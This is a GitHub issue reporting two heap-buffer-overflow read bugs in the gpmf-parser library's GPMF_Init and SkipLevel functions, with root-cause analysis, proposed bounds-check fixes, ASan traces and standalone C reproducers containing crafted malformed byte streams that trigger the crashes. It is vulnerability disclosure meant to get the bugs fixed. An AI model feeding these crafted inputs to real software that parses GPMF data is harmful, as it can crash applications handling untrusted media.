Skip to content

heap-buffer-overflow in GPMF_Init and SkipLevel (confirmed with standalone reproducer, no fuzzer) #213

@matteoalba

Description

@matteoalba

Summary

Two heap-buffer-overflow bugs were found via libFuzzer + AddressSanitizer and confirmed with standalone C reproducers (no libFuzzer infrastructure). Both are READ overflows in GPMF_parser.c.


Bug 1 — GPMF_Init reads one uint32_t past the end of the buffer (line 231)

File: GPMF_parser.c, line 231
Severity: Low (triggers only when datasize is not a multiple of 4)

Root cause

// line 229-231
while ((pos+1) * 4 < datasize && buffer[pos] == GPMF_KEY_DEVICE)
{
    uint32_t size = GPMF_DATA_SIZE(buffer[pos+1]);   // ← OOB

The guard (pos+1) * 4 < datasize ensures buffer[pos] is in-bounds (occupies bytes pos*4 … pos*4+3), but does not ensure buffer[pos+1] is valid. That would require (pos+2) * 4 <= datasize.

Reproducer (standalone, 31 bytes)

#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include "GPMF_parser.h"

int main(void) {
    static const uint8_t poc[] = {
        0x44,0x45,0x56,0x43, 0x00,0x00,0x00,0x1e,
        0x44,0x45,0x56,0x43, 0x00,0x02,0x00,0x00,
        0x44,0x45,0x56,0x43, 0x00,0x00,0x00,0x1e,
        0x44,0x45,0x56,0x43, 0x00,0x02,0x00
        /* 31 bytes — not a multiple of 4 */
    };
    uint32_t *aligned = malloc(sizeof(poc));
    memcpy(aligned, poc, sizeof(poc));
    GPMF_stream gs;
    GPMF_Init(&gs, aligned, sizeof(poc));   /* crashes here */
    free(aligned);
}

Compile and run:

clang -fsanitize=address -g -O1 repro.c GPMF_parser.c GPMF_utils.c -I. -o repro
./repro

ASan output (standalone)

ERROR: AddressSanitizer: heap-buffer-overflow on address … at pc …
READ of size 4 at … thread T0
    #0  in GPMF_Init GPMF_parser.c:231
    #1  in main repro.c:14
0x… is located 0 bytes to the right of 31-byte region
SUMMARY: AddressSanitizer: heap-buffer-overflow GPMF_parser.c:231:20 in GPMF_Init

Proposed fix

// Change:
while ((pos+1) * 4 < datasize && buffer[pos] == GPMF_KEY_DEVICE)
// To:
while ((pos+2) * 4 <= datasize && buffer[pos] == GPMF_KEY_DEVICE)

Bug 2 — SkipLevel reads one uint32_t past the end of the buffer (line 64)

File: GPMF_parser.c, line 64
Severity: Medium (reachable via GPMF_SeekToSamples on malformed input)

Root cause

GPMF_ERR SkipLevel(GPMF_stream* ms) {
    if (ms) {
        ms->pos += ms->nest_size[ms->nest_level];   // pos advances without bounds check
        ms->nest_size[ms->nest_level] = 0;
        while (ms->nest_level > 0 && ms->nest_size[ms->nest_level] == 0)
            ms->nest_level--;

        uint32_t size = (GPMF_DATA_SIZE(ms->buffer[ms->pos + 1]) >> 2);  // ← OOB (line 64)

After advancing ms->pos by nest_size[nest_level], there is no check that ms->pos + 1 < ms->buffer_size_longs. A crafted stream can set nest_size to a value that advances pos past the end of the buffer.

Call chain: GPMF_SeekToSamplesGPMF_Next (with GPMF_TOLERANT) → SkipLevel

SkipLevel is the error-recovery path invoked when structure validation fails with GPMF_TOLERANT mode — a mode explicitly designed to handle corrupt or untrusted data. A caller using GPMF_TOLERANT expects the library to survive malformed input; instead it crashes.

Reproducer (standalone, 152 bytes)

#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include "GPMF_parser.h"

int main(void) {
    static const uint8_t poc[] = {
        0x44,0x45,0x56,0x43, 0x00,0x00,0x00,0x1e,
        0x44,0x45,0x56,0x43, 0x00,0x02,0x00,0x44,
        0x45,0x56,0x43,
        /* crafted nest_size block: 106 × 0xff */
        0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,
        0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff,
        0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff,
        0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff,
        0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff,
        0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff,
        0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0x00,0x00,0x1e,
        0x00,0x44,0x45,0x56, 0x43,0x00,0x00,0x00, 0x1e,0x00,0x00,0x00, 0x29,0x00,0x00,0x00,
        0x29,0x00,0x00,0x00, 0x00,0x00,0x00,0x00
    };
    uint32_t *aligned = malloc(sizeof(poc));
    memcpy(aligned, poc, sizeof(poc));
    GPMF_stream gs;
    if (GPMF_Init(&gs, aligned, sizeof(poc)) == GPMF_OK) {
        GPMF_Validate(&gs, GPMF_RECURSE_LEVELS);
        do {
            GPMF_SeekToSamples(&gs);   /* crashes inside SkipLevel */
        } while (GPMF_OK == GPMF_Next(&gs, GPMF_RECURSE_LEVELS));
    }
    free(aligned);
}

Compile and run:

clang -fsanitize=address -g -O1 repro2.c GPMF_parser.c GPMF_utils.c -I. -o repro2
./repro2

ASan output (standalone)

ERROR: AddressSanitizer: heap-buffer-overflow on address … at pc …
READ of size 4 at … thread T0
    #0  in SkipLevel GPMF_parser.c:64
    #1  in GPMF_Next GPMF_parser.c:361
    #2  in GPMF_SeekToSamples GPMF_parser.c:582
    #3  in main repro2.c:18
0x… is located 4 bytes to the right of 152-byte region
SUMMARY: AddressSanitizer: heap-buffer-overflow GPMF_parser.c:64:20 in SkipLevel

Proposed fix

// Add bounds check before line 64:
if (ms->pos + 1 >= ms->buffer_size_longs)
    return GPMF_ERROR_BAD_STRUCTURE;
uint32_t size = (GPMF_DATA_SIZE(ms->buffer[ms->pos + 1]) >> 2);

Environment

  • gpmf-parser commit: main branch (April 2025)
  • Compiler: clang 14.0.0, Ubuntu 22.04
  • Sanitizers: -fsanitize=address,undefined
  • Fuzzer: libFuzzer (initial discovery); confirmed without fuzzer with standalone main()

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions